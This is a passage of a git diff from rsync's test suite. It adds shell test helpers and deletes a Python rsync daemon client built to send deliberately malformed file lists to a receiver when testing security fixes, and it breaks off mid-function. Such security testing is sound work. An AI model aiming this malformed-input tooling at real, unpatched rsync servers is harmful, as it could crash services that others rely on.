if [ \"x$4\" != x ]; then\n+\techo \"  === Skipping (as directed) ===\"\n+    else\n+\tdiff -r $diffopt \"$2\" \"$3\" || failed=\"$failed file-diff\"\n+    fi\n+\n+    echo \"-------------\"\n+    if [ -z \"$failed\" ]; then\n+\treturn 0\n+    fi\n+\n+    echo \"Failed: $failed\"\n+    return 1\n+}\n+\n+\n+# Run a test in $1 and make sure it has a zero exit status.  Capture the\n+# output into $outfile and echo it to stdout.\n+checktee() {\n+    echo \"Running: \\\"$1\\\"\"\n+    eval \"$1\" >\"$outfile\"\n+    status=$?\n+    cat \"$outfile\"\n+    if [ $status != 0 ]; then\n+\techo \"Failed: status=$status\"\n+\treturn 1\n+    fi\n+    return 0\n+}\n+\n+\n+# Slurp stdin into $chkfile and then call checkdiff2().\n+checkdiff() {\n+    cat >\"$chkfile\" # Save off stdin\n+    checkdiff2 \"${@}\"\n+}\n+\n+\n+# Run a test in $1 and make sure it has a zero exit status.  Capture the output\n+# into $outfile.  If $2 is set, use it to filter the outfile.  If resulting\n+# outfile differs from the chkfile data, fail with an error.\n+checkdiff2() {\n+    failed=\n+\n+    echo \"Running: \\\"$1\\\"\"\n+    eval \"$1\" >\"$outfile\"\n+    status=$?\n+    cat \"$outfile\"\n+    if [ $status != 0 ]; then\n+\tfailed=\"$failed status=$status\"\n+    fi\n+\n+    if [ -n \"$2\" ]; then\n+\teval \"cat '$outfile' | $2 >'$outfile.new'\"\n+\tmv \"$outfile.new\" \"$outfile\"\n+    fi\n+\n+    diff $diffopt \"$chkfile\" \"$outfile\" || failed=\"$failed output differs\"\n+\n+    if [ -n \"$failed\" ]; then\n+\techo \"Failed:$failed\"\n+\treturn 1\n+    fi\n+    return 0\n+}\n+\n+\n+build_rsyncd_conf() {\n+    # Build an appropriate configuration file\n+    conf=\"$scratchdir/test-rsyncd.conf\"\n+    echo \"building configuration $conf\"\n+\n+    port=2612\n+    pidfile=\"$scratchdir/rsyncd.pid\"\n+    logfile=\"$scratchdir/rsyncd.log\"\n+    hostname=`uname -n`\n+\n+    my_uid=`get_testuid`\n+    root_uid=`get_rootuid`\n+    root_gid=`get_rootgid`\n+\n+    uid_setting=\"uid = $root_uid\"\n+    gid_setting=\"gid = $root_gid\"\n+\n+    if test x\"$my_uid\" != x\"$root_uid\"; then\n+\t# Non-root cannot specify uid & gid settings\n+\tuid_setting=\"#$uid_setting\"\n+\tgid_setting=\"#$gid_setting\"\n+    fi\n+\n+    cat >\"$conf\" <<EOF\n+# rsyncd configuration file autogenerated by $0\n+\n+pid file = $pidfile\n+use chroot = no\n+munge symlinks = no\n+hosts allow = localhost 127.0.0.0/24 192.168.0.0/16 10.0.0.0/8 $hostname\n+log file = $logfile\n+transfer logging = yes\n+# We don't define log format here so that the test-hidden module will default\n+# to the internal static string (since we had a crash trying to tweak it).\n+exclude = ? foobar.baz\n+max verbosity = 4\n+$uid_setting\n+$gid_setting\n+\n+[test-from]\n+\tpath = $fromdir\n+\tlog format = %i %h [%a] %m (%u) %l %f%L\n+\tread only = yes\n+\tcomment = r/o\n+\n+[test-to]\n+\tpath = $todir\n+\tlog format = %i %h [%a] %m (%u) %l %f%L\n+\tread only = no\n+\tcomment = r/w\n+\n+[test-scratch]\n+\tpath = $scratchdir\n+\tlog format = %i %h [%a] %m (%u) %l %f%L\n+\tread only = no\n+\n+[test-hidden]\n+\tpath = $fromdir\n+\tlist = no\n+EOF\n+\n+    # Build a helper script to ignore exit code 23\n+    ignore23=\"$scratchdir/ignore23\"\n+    echo \"building help script $ignore23\"\n+\n+    cat >\"$ignore23\" <<'EOT'\n+if \"${@}\"; then\n+    exit\n+fi\n+\n+ret=$?\n+\n+if test $ret = 23; then\n+    exit\n+fi\n+\n+exit $ret\n+EOT\n+chmod +x \"$ignore23\"\n+}\n+\n+\n+build_symlinks() {\n+    mkdir \"$fromdir\"\n+    date >\"$fromdir/referent\"\n+    ln -s referent \"$fromdir/relative\"\n+    ln -s \"$fromdir/referent\" \"$fromdir/absolute\"\n+    ln -s nonexistent \"$fromdir/dangling\"\n+    ln -s \"$srcdir/rsync.c\" \"$fromdir/unsafe\"\n+}\n+\n+test_fail() {\n+    echo \"$@\" >&2\n+    exit 1\n+}\n+\n+test_skipped() {\n+    echo \"$@\" >&2\n+    echo \"$@\" > \"$tmpdir/whyskipped\"\n+    exit 77\n+}\n+\n+# It failed, but we expected that.  Don't dump out error logs,\n+# because most users won't want to see them.  But do leave\n+# the working directory around.\n+test_xfail() {\n+    echo \"$@\" >&2\n+    exit 78\n+}\n+\n+# Determine what shell command will appropriately test for links.\n+ln -s foo \"$scratchdir/testlink\"\n+for cmd in test /bin/test /usr/bin/test /usr/ucb/bin/test /usr/ucb/test; do\n+    for switch in -h -L; do\n+        if $cmd $switch \"$scratchdir/testlink\" 2>/dev/null; then\n+            # how nice\n+            TEST_SYMLINK_CMD=\"$cmd $switch\"\n+            # i wonder if break 2 is portable?\n+            break 2\n+        fi\n+    done\n+done\n+# ok, now get rid of it\n+rm \"$scratchdir/testlink\"\n+\n+\n+if [ \"x$TEST_SYMLINK_CMD\" = 'x' ]; then\n+    test_fail \"Couldn't determine how to test for symlinks\"\n+else\n+    echo \"Testing for symlinks using '$TEST_SYMLINK_CMD'\"\n+fi\n+\n+\n+# Test whether something is a link, allowing for shell peculiarities\n+is_a_link() {\n+    # note the variable contains the first option and therefore is not quoted\n+    $TEST_SYMLINK_CMD \"$1\"\n+}\n+\n+\n+# We need to set the umask to be reproducible.  Note also that when we\n+# do some daemon tests as root, we will setuid() and therefore the\n+# directory has to be writable by the nobody user in some cases.  The\n+# best thing is probably to explicitly chmod those directories after\n+# creation.\n+\n+umask 022\ndiff --git a/testsuite/rsync_proto.py b/testsuite/rsync_proto.py\ndeleted file mode 100644\nindex 7d77c4e..0000000\n--- a/testsuite/rsync_proto.py\n+++ /dev/null\n@@ -1,1073 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Minimal pure-Python implementation of the rsync *client/sender* side of the\n-daemon protocol -- enough to push a (possibly malformed) file list to a real\n-rsync daemon receiver over a TCP socket.\n-\n-Why this exists\n----------------\n-Several rsync security fixes are for crashes the receiver hits while parsing a\n-file list that no cooperating sender would ever produce.  The historical way to\n-test them was build_patched_rsync(): copy the source, string-replace a line in\n-the sender, recompile.  That is slow (a full rsync rebuild per test) and brittle\n-(it breaks when the patched line is refactored).  This module replaces that with\n-a declarative wire-format speaker: encode a normal file entry, then flip one\n-field.\n-\n-Design notes / scope\n---------------------\n-* It is pinned to protocol 30 and advertises NO optional client capabilities\n-  (no 'i' => no inc_recurse, no 'v' => byte/short flist flags and no string\n-  negotiation), which keeps the encoding surface small.  Per send_file_entry()\n-  / setup_protocol() in the C source.  If the on-wire protocol changes, the\n-  constants and encoders here must be regenerated -- this is deliberately a\n-  second implementation kept tiny for that reason.\n-* The integer encoders are byte-for-byte ports of io.c (write_varint /\n-  write_varlong / read_varint / read_int), so the bytes match the C exactly.\n-* It is structured as a fuzzing substrate: FileEntry holds each field\n-  separately and every field (or the whole entry) can be overridden with raw\n-  bytes, so a future fuzzer can mutate one field at a time.\n-\n-This is test-only code; it is not built or shipped.\n-\"\"\"\n-\n-import socket\n-import struct\n-\n-# ---------------------------------------------------------------------------\n-# Protocol constants (mirror rsync.h)\n-# ---------------------------------------------------------------------------\n-MPLEX_BASE = 7\n-MSG_DATA = 0           # FNONE-based data channel\n-MSG_ERROR_XFER = 1     # FERROR_XFER\n-MSG_INFO = 2           # FINFO\n-MSG_ERROR = 3          # FERROR\n-MSG_WARNING = 4        # FWARNING\n-MSG_DELETED = 101      # deleted a file on the receiving side\n-MSG_NO_SEND = 102      # sender failed to open a file we wanted\n-\n-# XMIT_* file-entry flags (rsync.h)\n-XMIT_TOP_DIR            = 1 << 0\n-XMIT_SAME_MODE          = 1 << 1\n-XMIT_EXTENDED_FLAGS     = 1 << 2\n-XMIT_SAME_UID           = 1 << 3\n-XMIT_SAME_GID           = 1 << 4\n-XMIT_SAME_NAME          = 1 << 5\n-XMIT_LONG_NAME          = 1 << 6\n-XMIT_SAME_TIME          = 1 << 7\n-XMIT_SAME_RDEV_MAJOR    = 1 << 8\n-XMIT_NO_CONTENT_DIR     = 1 << 8\n-XMIT_HLINKED            = 1 << 9\n-XMIT_USER_NAME_FOLLOWS  = 1 << 10\n-XMIT_GROUP_NAME_FOLLOWS = 1 << 11\n-XMIT_HLINK_FIRST        = 1 << 12\n-XMIT_MOD_NSEC           = 1 << 13\n-\n-# from sys/stat.h\n-S_IFREG = 0o100000\n-S_IFDIR = 0o040000\n-S_IFLNK = 0o120000\n-S_IFMT = 0o170000\n-\n-\n-def S_ISREG(m):\n-    return (m & S_IFMT) == S_IFREG\n-\n-\n-def S_ISDIR(m):\n-    return (m & S_IFMT) == S_IFDIR\n-\n-\n-def S_ISLNK(m):\n-    return (m & S_IFMT) == S_IFLNK\n-\n-\n-DEFAULT_PROTOCOL = 30\n-\n-NDX_DONE = -1\n-NDX_FLIST_EOF = -2\n-NDX_FLIST_OFFSET = -101\n-\n-# Transfer-phase iflags (rsync.h) and basis-type tags.\n-ITEM_BASIS_TYPE_FOLLOWS = 1 << 11\n-ITEM_XNAME_FOLLOWS      = 1 << 12\n-ITEM_IS_NEW             = 1 << 13\n-ITEM_TRANSFER           = 1 << 15\n-FNAMECMP_FNAME          = 0x80\n-FNAMECMP_FUZZY          = 0x83\n-\n-CHUNK_SIZE = 32 * 1024\n-\n-# ---------------------------------------------------------------------------\n-# Integer encoders -- exact ports of io.c\n-# ---------------------------------------------------------------------------\n-\n-def w_byte(x):\n-    return bytes([x & 0xFF])\n-\n-\n-def w_shortint(x):\n-    return struct.pack('<H', x & 0xFFFF)\n-\n-\n-def w_int(x):\n-    return struct.pack('<i', _s32(x))\n-\n-\n-def _s32(x):\n-    x &= 0xFFFFFFFF\n-    return x - (1 << 32) if x & 0x80000000 else x\n-\n-\n-def w_varint(x):\n-    \"\"\"Port of io.c write_varint(): SIVAL the value into b[1..4] (little-endian),\n-    then pack the high bits / extra-byte count into the leading byte b[0].\"\"\"\n-    b = bytearray(5)\n-    v = x & 0xFFFFFFFF\n-    b[1] = v & 0xFF\n-    b[2] = (v >> 8) & 0xFF\n-    b[3] = (v >> 16) & 0xFF\n-    b[4] = (v >> 24) & 0xFF\n-    cnt = 4\n-    while cnt > 1 and b[cnt] == 0:\n-        cnt -= 1\n-    bit = 1 << (7 - cnt + 1)\n-    if b[cnt] >= bit:\n-        cnt += 1\n-        b[0] = (~(bit - 1)) & 0xFF\n-    elif cnt > 1:\n-        b[0] = (b[cnt] | ((~(bit * 2 - 1)) & 0xFF)) & 0xFF\n-    else:\n-        b[0] = b[1]\n-    return bytes(b[:cnt])\n-\n-\n-def w_varlong(x, min_bytes):\n-    \"\"\"Port of io.c write_varlong().\"\"\"\n-    b = bytearray(9)\n-    v = x & ((1 << 64) - 1)\n-    for i in range(8):\n-        b[1 + i] = (v >> (8 * i)) & 0xFF\n-    cnt = 8\n-    while cnt > min_bytes and b[cnt] == 0:\n-        cnt -= 1\n-    bit = 1 << (7 - cnt + min_bytes)\n-    if b[cnt] >= bit:\n-        cnt += 1\n-        b[0] = (~(bit - 1)) & 0xFF\n-    elif cnt > min_bytes:\n-        b[0] = (b[cnt] | ((~(bit * 2 - 1)) & 0xFF)) & 0xFF\n-    else:\n-        b[0] = b[cnt]\n-    return bytes(b[:cnt])\n-\n-\n-def w_varint30(x, protocol=DEFAULT_PROTOCOL):\n-    # write_varint30(): varint at proto >= 30, plain int below.\n-    return w_varint(x) if protocol >= 30 else w_int(x)\n-\n-\n-def w_varlong30(x, min_bytes, protocol=DEFAULT_PROTOCOL):\n-    return w_varlong(x, min_bytes) if protocol >= 30 else w_int(x)\n-\n-\n-_INT_BYTE_EXTRA = ([0] * 32) + ([1] * 16) + ([2] * 8) + ([3] * 4) + ([4] * 2) + [5, 6]\n-\n-\n-def to_wire_mode(mode):\n-    # rsync.h to_wire_mode(): identity on Linux (S_ISLNK already 0120000 etc).\n-    return mode\n-\n-\n-def w_sum_head(count, blength, s2length, remainder):\n-    \"\"\"io.c write_sum_head() at protocol >= 27: 4 ints.\"\"\"\n-    return w_int(count) + w_int(blength) + w_int(s2length) + w_int(remainder)\n-\n-\n-def get_checksum1(buf):\n-    \"\"\"Port of checksum.c get_checksum1() (CHAR_OFFSET == 0): rsync's rolling\n-    block checksum (sum1).  `buf` is bytes; the bytes are signed-char and the\n-    accumulators are uint32 (wrapping), matching the C exactly.\"\"\"\n-    if isinstance(buf, str):\n-        buf = buf.encode()\n-    sb = [c - 256 if c >= 128 else c for c in buf]\n-    n = len(sb)\n-    s1 = s2 = 0\n-    i = 0\n-    while i < n - 4:\n-        s2 = (s2 + 4 * (s1 + sb[i]) + 3 * sb[i + 1] + 2 * sb[i + 2] + sb[i + 3]) & 0xFFFFFFFF\n-        s1 = (s1 + sb[i] + sb[i + 1] + sb[i + 2] + sb[i + 3]) & 0xFFFFFFFF\n-        i += 4\n-    while i < n:\n-        s1 = (s1 + sb[i]) & 0xFFFFFFFF\n-        s2 = (s2 + s1) & 0xFFFFFFFF\n-        i += 1\n-    return ((s1 & 0xFFFF) + ((s2 & 0xFFFF) << 16)) & 0xFFFFFFFF\n-\n-\n-def w_vstring(s):\n-    \"\"\"io.c write_vstring(): a 1- or 2-byte length prefix then the bytes.\"\"\"\n-    if isinstance(s, str):\n-        s = s.encode()\n-    n = len(s)\n-    if n > 0x7F:\n-        return bytes([n // 0x100 + 0x80, n & 0xFF]) + s\n-    return bytes([n]) + s\n-\n-\n-_PERM_BITS = [\n-    (S_IFDIR, 'd'), (S_IFLNK, 'l'), (0o020000, 'c'), (0o060000, 'b'),\n-    (0o010000, 'p'), (0o140000, 's'),\n-]\n-\n-\n-def sort_key(entry):\n-    \"\"\"Approximate rsync's f_name_cmp ordering: bytewise on the name, with a\n-    directory keyed as if it had a trailing '/' so it sorts immediately before\n-    its contents (and a file foo.txt before a dir foo).  Good for flat lists and\n-    simple trees; not the full path-state machine.\"\"\"\n-    return entry.name + (b'/' if entry.is_dir else b'')\n-\n-\n-def sort_entries(entries):\n-    \"\"\"rsync sorts the received file list before indexing it, so the transfer\n-    ndx is the sorted position, not the wire position.  Return entries in that\n-    order.\"\"\"\n-    return sorted(entries, key=sort_key)\n-\n-\n-def mode_to_perms(mode):\n-    \"\"\"An ls-style permission string, e.g. '-rw-r--r--' / 'drwxr-xr-x'.\"\"\"\n-    typ = '-'\n-    for bits, ch in _PERM_BITS:\n-        if (mode & S_IFMT) == bits:\n-            typ = ch\n-            break\n-    out = [typ]\n-    for who in (6, 3, 0):\n-        out.append('r' if mode & (4 << who) else '-')\n-        out.append('w' if mode & (2 << who) else '-')\n-        out.append('x' if mode & (1 << who) else '-')\n-    return ''.join(out)\n-\n-\n-def xattr_list_wire(items):\n-    \"\"\"xattrs.c send_xattr() wire bytes for a NEW xattr list -- the form a\n-    sender appends to a file-list entry under -X.  The leading 0 (ndx+1 with\n-    ndx=-1) means 'literal data follows'.  `items` is a list of (name,\n-    datum_len, datum): `name` includes any namespace prefix and a trailing NUL,\n-    `datum_len` is the declared value length (need not match `datum`), and\n-    `datum` is the literal trailing bytes.  A peer exercising the receiver's\n-    datum_len cap can pass an empty `datum` since receive_xattr() validates\n-    datum_len before it reads the value.\"\"\"\n-    out = bytearray(w_varint(0) + w_varint(len(items)))\n-    for name, datum_len, datum in items:\n-        if isinstance(name, str):\n-            name = name.encode()\n-        out += w_varint(len(name)) + w_varint(datum_len) + name + datum\n-    return bytes(out)\n-\n-\n-# ---------------------------------------------------------------------------\n-# File-list entry -- declarative, every field overridable for fuzzing\n-# ---------------------------------------------------------------------------\n-\n-class FileEntry:\n-    \"\"\"One flat (non-inc-recurse) file-list entry.\n-\n-    Set the fields you care about; encode() emits the exact wire bytes for\n-    protocol 30 with byte/short flags.  For malformed-input testing, set\n-    extra_flags to OR bits into the computed xflags, or set raw= to emit a\n-    fully hand-built byte string instead.\n-    \"\"\"\n-\n-    def __init__(self, name, *, mode=S_IFREG | 0o644, length=0, modtime=1700000000,\n-                 csum=None, extra_flags=0, protocol=DEFAULT_PROTOCOL, raw=None,\n-                 hlink_ndx=None, uid=None, user_name=None):\n-        self.name = name.encode() if isinstance(name, str) else name\n-        self.mode = mode\n-        self.length = length\n-        self.modtime = modtime\n-        self.csum = csum            # bytes; appended when the daemon has -c\n-        self.extra_flags = extra_flags\n-        self.protocol = protocol\n-        self.raw = raw\n-        # A non-first hard-link entry: sets XMIT_HLINKED (without HLINK_FIRST)\n-        # and carries this gnum (first_hlink_ndx) as a varint after the name.\n-        self.hlink_ndx = hlink_ndx\n-        # Owner: when uid is set the entry drops XMIT_SAME_UID and carries the\n-        # uid varint (the receiver reads it under preserve_uid). When user_name\n-        # is also set it adds XMIT_USER_NAME_FOLLOWS + a byte-counted name, which\n-        # the daemon feeds to its name converter (recv_user_name).\n-        self.uid = uid\n-        self.user_name = (user_name.encode() if isinstance(user_name, str)\n-                          else user_name)\n-\n-    def encode(self):\n-        if self.raw is not None:\n-            return self.raw\n-\n-        is_reg = (self.mode & 0o170000) == S_IFREG\n-        is_dir = (self.mode & 0o170000) == S_IFDIR\n-\n-        # We never preserve uid/gid and always emit a full (non-abbreviated)\n-        # entry, so the only \"same as previous\" flags are UID/GID.\n-        xflags = XMIT_SAME_UID | XMIT_SAME_GID\n-        xflags |= self.extra_flags\n-        if self.hlink_ndx is not None:\n-            xflags |= XMIT_HLINKED\n-        if self.uid is not None:\n-            xflags &= ~XMIT_SAME_UID\n-            if self.user_name is not None:\n-                xflags |= XMIT_USER_NAME_FOLLOWS\n-\n-        out = bytearray()\n-\n-        # --- flags byte/short (proto >= 28, non-varint path) ---\n-        if not xflags and not is_dir:\n-            xflags |= XMIT_TOP_DIR\n-        if (xflags & 0xFF00) or not xflags:\n-            xflags |= XMIT_EXTENDED_FLAGS\n-            out += w_shortint(xflags)\n-        else:\n-            out += w_byte(xflags)\n-\n-        # --- name (no prefix compression: l1 == 0) ---\n-        l2 = len(self.name)\n-        if xflags & XMIT_LONG_NAME:\n-            out += w_varint30(l2, self.protocol)\n-        else:\n-            out += w_byte(l2)\n-        out += self.name\n-\n-        # A non-first hard-link entry (XMIT_HLINKED set, HLINK_FIRST unset)\n-        # carries its gnum here, per send_file_entry(). A HLINK_FIRST entry\n-        # carries no gnum (BITS_SETnUNSET is false in recv_file_entry), which is\n-        # why 0004 uses extra_flags rather than hlink_ndx. We only use small\n-        # gnums (< this flist's ndx_start), so the full length/mode fields\n-        # follow; a gnum >= ndx_start would abbreviate the entry (goto the_end).\n-        if self.hlink_ndx is not None:\n-            out += w_varint(self.hlink_ndx)\n-\n-        out += w_varlong30(self.length, 3, self.protocol)\n-        if not (xflags & XMIT_SAME_TIME):\n-            out += w_varlong(self.modtime, 4) if self.protocol >= 30 else w_int(self.modtime)\n-        if not (xflags & XMIT_SAME_MODE):\n-            out += w_int(to_wire_mode(self.mode))\n-\n-        # Owner (after mode, per recv_file_entry): uid varint, then -- under\n-        # XMIT_USER_NAME_FOLLOWS -- a byte-counted user name for the converter.\n-        if self.uid is not None:\n-            out += w_varint(self.uid)\n-            if self.user_name is not None:\n-                out += w_byte(len(self.user_name)) + self.user_name\n-\n-        # checksum trailer (only when the receiver runs with -c / always_checksum)\n-        if self.csum is not None:\n-            out += self.csum\n-\n-        return bytes(out)\n-\n-\n-def end_of_flist(io_error=0, protocol=DEFAULT_PROTOCOL):\n-    \"\"\"Trailing marker after the last entry. In byte-flags mode (no\n-    CF_VARINT_FLIST_FLAGS, i.e. no 'v' advertised) recv_file_list() ends the\n-    list on a single 0 flag byte and reads NO io_error after it -- the io_error\n-    varint exists only in the varint-flags path. Sending an extra byte here\n-    leaves a stray 0x00 that the receiver then reads as NDX_DONE (freeing the\n-    flist), which broke inc_recurse sub-flist sequencing.\"\"\"\n-    return w_byte(0)\n-\n-\n-# NOTE: a plain push to a daemon module (no --delete, no --prune-empty-dirs)\n-# exchanges NO filter list -- recv_filter_list() only reads from the wire when\n-# `am_sender || receiver_wants_list`, both false for the receiver here. So the\n-# file list starts immediately after the checksum seed; do not send a filter\n-# list or its first byte is consumed as a 0 (end-of-list) flag.\n-\n-\n-# ---------------------------------------------------------------------------\n-# Daemon client / sender\n-# ---------------------------------------------------------------------------\n-\n-class ProtocolError(Exception):\n-    pass\n-\n-\n-class ParsedEntry:\n-    \"\"\"A file-list entry decoded from the wire (the read side of FileEntry).\"\"\"\n-\n-    __slots__ = ('name', 'mode', 'length', 'mtime', 'link_target')\n-\n-    def __init__(self, name, mode, length, mtime, link_target=None):\n-        self.name = name                  # bytes, module-relative\n-        self.mode = mode\n-        self.length = length\n-        self.mtime = mtime\n-        self.link_target = link_target    # bytes for a symlink, else None\n-\n-    @property\n-    def is_reg(self):\n-        return S_ISREG(self.mode)\n-\n-    @property\n-    def is_dir(self):\n-        return S_ISDIR(self.mode)\n-\n-    @property\n-    def is_link(self):\n-        return S_ISLNK(self.mode)\n-\n-    def __repr__(self):\n-        return f\"ParsedEntry({self.name!r}, mode={self.mode:o}, length={self.length})\"\n-\n-\n-class DaemonClient:\n-    \"\"\"A client that connects to an rsync daemon: runs the @RSYNCD handshake +\n-    protocol setup, then drives either role depending on the server args -- push\n-    (send a file list + deltas, as a sender) or pull/list (receive + parse the\n-    file list, request and receive files, as a receiver).  The protocol steps\n-    are small overridable methods so a test can swap one behaviour (e.g. the sum\n-    header or an flist entry) while reusing the rest -- see xrsync.py.\"\"\"\n-\n-    def __init__(self, host, port, timeout=10):\n-        self.sock = socket.create_connection((host, port), timeout=timeout)\n-        self.sock.settimeout(timeout)\n-        self.protocol = DEFAULT_PROTOCOL\n-        self.compat_flags = None\n-        self.seed = None\n-        self.xfer_sum_len = 16        # md5 at proto 30 (no string negotiation)\n-        self._rbuf = b''\n-        self._ndx_prev_positive = -1  # write_ndx delta state (proto >= 30)\n-        self._ndx_prev_negative = 1\n-        self._mux_in = b''            # de-multiplexed sender input (data channel)\n-        self._r_ndx_prev_positive = -1  # read_ndx delta state\n-        self._r_ndx_prev_negative = 1\n-        self.messages = []            # (tag, payload) of non-data frames seen\n-\n-    # -- low-level socket I/O --------------------------------------------\n-    def _recv_exact(self, n):\n-        data = b''\n-        while len(data) < n:\n-            if self._rbuf:\n-                take = self._rbuf[:n - len(data)]\n-                self._rbuf = self._rbuf[len(take):]\n-                data += take\n-                continue\n-            chunk = self.sock.recv(n - len(data))\n-            if not chunk:\n-                raise ProtocolError(f\"EOF after {len(data)}/{n} bytes\")\n-            data += chunk\n-        return data\n-\n-    def _readline(self):\n-        line = b''\n-        while not line.endswith(b'\\n'):\n-            if self._rbuf:\n-                c, self._rbuf = self._rbuf[:1], self._rbuf[1:]\n-            else:\n-                c = self.sock.recv(1)\n-                if not c:\n-                    raise ProtocolError(\"EOF reading a line\")\n-            line += c\n-        return line.decode('latin-1').rstrip('\\n')\n-\n-    def _r_int(self):\n-        return _s32(int.from_bytes(self._recv_exact(4), 'little'))\n-\n-    def _r_varint(self):\n-        ch = self._recv_exact(1)[0]\n-        extra = _INT_BYTE_EXTRA[ch >> 2]\n-        b = bytearray(5)\n-        if extra:\n-            bit = 1 << (8 - extra)\n-            b[0:extra] = self._recv_exact(extra)\n-            b[extra] = ch & (bit - 1)\n-        else:\n-            b[0] = ch\n-        return b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)\n-\n-    # -- de-multiplexed input (the generator's stream) -------------------\n-    def _read_data(self, n):\n-        \"\"\"Read n bytes from the de-multiplexed sender input, dispatching any\n-        non-MSG_DATA frames (MSG_INFO/MSG_ERROR/keepalive/redo/...) into\n-        self.messages and discarding them.\"\"\"\n-        while len(self._mux_in) < n:\n-            val = int.from_bytes(self._recv_exact(4), 'little')\n-            tag = (val >> 24) - MPLEX_BASE\n-            ln = val & 0xFFFFFF\n-            payload = self._recv_exact(ln) if ln else b''\n-            if tag == MSG_DATA:\n-                self._mux_in += payload\n-            else:\n-                self.messages.append((tag, payload))\n-        out, self._mux_in = self._mux_in[:n], self._mux_in[n:]\n-        return out\n-\n-    def r_int(self):\n-        return _s32(int.from_bytes(self._read_data(4), 'little'))\n-\n-    def r_byte(self):\n-        return self._read_data(1)[0]\n-\n-    def r_shortint(self):\n-        return int.from_bytes(self._read_data(2), 'little')\n-\n-    def r_buf(self, n):\n-        return self._read_data(n)\n-\n-    def r_vstring(self):\n-        n = self._read_data(1)[0]\n-        if n & 0x80:\n-            n = (n & 0x7F) * 0x100 + self._read_data(1)[0]\n-        return self._read_data(n) if n else b''\n-\n-    def r_ndx(self):\n-        \"\"\"Port of io.c read_ndx() at protocol >= 30.\"\"\"\n-        b0 = self._read_data(1)[0]\n-        if b0 == 0xFF:\n-            b0 = self._read_data(1)[0]\n-            neg = True\n-        elif b0 == 0:\n-            return NDX_DONE\n-        else:\n-            neg = False\n-        prev = self._r_ndx_prev_negative if neg else self._r_ndx_prev_positive\n-        if b0 == 0xFE:\n-            b = self._read_data(2)\n-            if b[0] & 0x80:\n-                rest = self._read_data(2)\n-                num = ((b[0] & 0x7F) << 24) | b[1] | (rest[0] << 8) | (rest[1] << 16)\n-            else:\n-                num = (b[0] << 8) + b[1] + prev\n-        else:\n-            num = b0 + prev\n-        if neg:\n-            self._r_ndx_prev_negative = num\n-            return -num\n-        self._r_ndx_prev_positive = num\n-        return num\n-\n-    def r_sum_head(self):\n-        \"\"\"io.c read_sum_head(): count, blength, s2length, remainder.\"\"\"\n-        return (self.r_int(), self.r_int(), self.r_int(), self.r_int())\n-\n-    def r_varint(self):\n-        \"\"\"io.c read_varint() on the de-multiplexed stream.\"\"\"\n-        ch = self._read_data(1)[0]\n-        extra = _INT_BYTE_EXTRA[ch >> 2]\n-        b = bytearray(5)\n-        if extra:\n-            bit = 1 << (8 - extra)\n-            b[0:extra] = self._read_data(extra)\n-            b[extra] = ch & (bit - 1)\n-        else:\n-            b[0] = ch\n-        return b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)\n-\n-    def r_varlong(self, min_bytes):\n-        \"\"\"io.c read_varlong() on the de-multiplexed stream.\"\"\"\n-        b2 = self._read_data(min_bytes)\n-        u = bytearray(9)\n-        u[0:min_bytes - 1] = b2[1:min_bytes]\n-        extra = _INT_BYTE_EXTRA[b2[0] >> 2]\n-        if extra:\n-            bit = 1 << (8 - extra)\n-            u[min_bytes - 1:min_bytes - 1 + extra] = self._read_data(extra)\n-            u[min_bytes + extra - 1] = b2[0] & (bit - 1)\n-        else:\n-            u[min_bytes - 1] = b2[0]\n-        x = 0\n-        for i in range(8):\n-            x |= u[i] << (8 * i)\n-        return x\n-\n-    def r_varint30(self):\n-        return self.r_varint() if self.protocol >= 30 else self.r_int()\n-\n-    def r_varlong30(self, min_bytes):\n-        return self.r_varlong(min_bytes) if self.protocol >= 30 else self.r_int()\n-\n-    # -- handshake + setup ------------------------------------------------\n-    def handshake(self, module, server_args, greeting_version=30):\n-        \"\"\"Run the @RSYNCD handshake for `module` and send `server_args`\n-        (the daemon-side argv).  Returns once protocol setup is done and the\n-        stream is multiplexed in both directions.\"\"\"\n-        greeting = self._readline()\n-        if not greeting.startswith('@RSYNCD:'):\n-            raise ProtocolError(f\"bad greeting: {greeting!r}\")\n-        # Our greeting: claim greeting_version so the daemon negotiates down to\n-        # it; <=31 means we needn't send a digest list.\n-        self._send_raw(f\"@RSYNCD: {greeting_version}.0\\n\".encode())\n-        self._send_raw(module.encode() + b\"\\n\")\n-        resp = self._readline()\n-        if 'OK' not in resp:\n-            raise ProtocolError(f\"daemon did not send OK (got {resp!r}); \"\n-                                \"module may require auth or be unknown\")\n-        # Server-side argv, NUL-terminated, with a trailing empty arg.\n-        payload = b''.join(a.encode() + b\"\\0\" for a in server_args) + b\"\\0\"\n-        self._send_raw(payload)\n-        # setup_protocol (proto >= 30, daemon side): it skips the binary version\n-        # exchange (remote_protocol is already set from the greeting), writes\n-        # compat_flags (varint) and -- since we didn't advertise 'v' -- skips\n-        # string negotiation, then writes the checksum seed.  All still raw.\n-        self.compat_flags = self._r_varint()\n-        self.seed = self._r_int()\n-        # Multiplexing is now active in both directions.\n-\n-    # -- multiplexed output ----------------------------------------------\n-    def _send_raw(self, data):\n-        self.sock.sendall(data)\n-\n-    def _frame(self, code, payload):\n-        hdr = struct.pack('<I', ((MPLEX_BASE + code) << 24) | len(payload))\n-        return hdr + payload\n-\n-    def send_data(self, payload):\n-        \"\"\"Send `payload` as one MSG_DATA frame (the normal sender stream:\n-        filter list, file list, file data).\"\"\"\n-        self._send_raw(self._frame(MSG_DATA, payload))\n-\n-    def send_message(self, code, payload):\n-        \"\"\"Send a non-data message frame (e.g. MSG_INFO) to the receiver.\"\"\"\n-        self._send_raw(self._frame(code, payload))\n-\n-    # -- convenience ------------------------------------------------------\n-    def send_flat_flist(self, entries, io_error=0):\n-        \"\"\"Send `entries` followed by the end marker, in one MSG_DATA frame.\n-        No filter list is sent (see the note above empty-filter handling).\"\"\"\n-        buf = bytearray()\n-        for e in entries:\n-            buf += e.encode()\n-        buf += end_of_flist(io_error, self.protocol)\n-        self.send_data(bytes(buf))\n-\n-    def w_ndx(self, ndx):\n-        \"\"\"Full port of io.c write_ndx() at protocol >= 30: NDX_DONE -> a single\n-        0 byte; negatives -> a leading 0xFF then a delta against prev_negative;\n-        non-negatives -> a delta against prev_positive.\"\"\"\n-        if ndx == NDX_DONE:\n-            return b'\\x00'\n-        b = bytearray()\n-        if ndx >= 0:\n-            diff = ndx - self._ndx_prev_positive\n-            self._ndx_prev_positive = ndx\n-            absndx = ndx\n-        else:\n-            b.append(0xFF)\n-            absndx = -ndx\n-            diff = 